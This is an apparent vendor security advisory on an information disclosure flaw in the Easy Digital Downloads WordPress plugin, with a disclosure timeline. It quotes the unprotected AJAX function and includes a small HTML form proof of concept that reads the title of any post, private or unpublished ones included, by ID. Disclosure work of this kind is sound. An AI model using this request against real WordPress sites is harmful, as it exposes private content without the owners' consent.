Information Disclosure Vulnerability in Easy Digital Downloads
One of the features of our service is that our customers get to suggest and vote for plugins to get a security review done by us. Last month we did a review of the plugin Easy Digital Downloads and one of the issues we found through that was an information disclosure vulnerability.
The function edd_ajax_get_download_title in the file /includes/ajax-functions.php is accessible via AJAX by those logged in and out, despite stating that it is “used only in WordPress Admin”. The function is intended to return the title of the plugin’s downloads, but as can be seen below it lacks any restriction as to what it will return the tile of:
396 397 398 399 400 401 402 403 404 405 406 | function edd_ajax_get_download_title() { if ( isset( $_POST['download_id'] ) ) { $title = get_the_title( $_POST['download_id'] ); if ( $title ) { echo $title; } else { echo 'fail'; } } edd_die(); } |
Since the function will return the title of any post (not just downloads), there is the possibility that the title of unpublished posts, private posts, or other private content stored in a post could be exposed through that.
It looks like that function isn’t actually used anymore, at least we couldn’t find where it was used in the plugin.
We notified the developer of the issue on February 27 and they responded, but the issue has not been resolved as of our posting this.
Proof of Concept
The following proof of concept will return the title of the post specified.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="edd_get_download_title" /> <input type="hidden" name="download_id" value="[post ID]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- February 27, 2017 – Developer notified.
- February 27, 2017 – Developer responds.
- July 25, 2017 – Version 2.8 release, which fixes vulnerability.